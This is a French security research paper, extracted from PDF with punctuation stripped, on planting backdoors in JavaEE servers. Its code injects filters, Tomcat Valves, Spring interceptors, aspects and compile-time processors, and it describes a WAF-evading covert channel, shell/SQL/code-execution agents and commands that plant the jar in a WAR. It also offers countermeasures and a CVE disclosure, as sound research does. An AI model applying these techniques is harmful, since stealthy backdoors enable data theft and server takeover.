Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
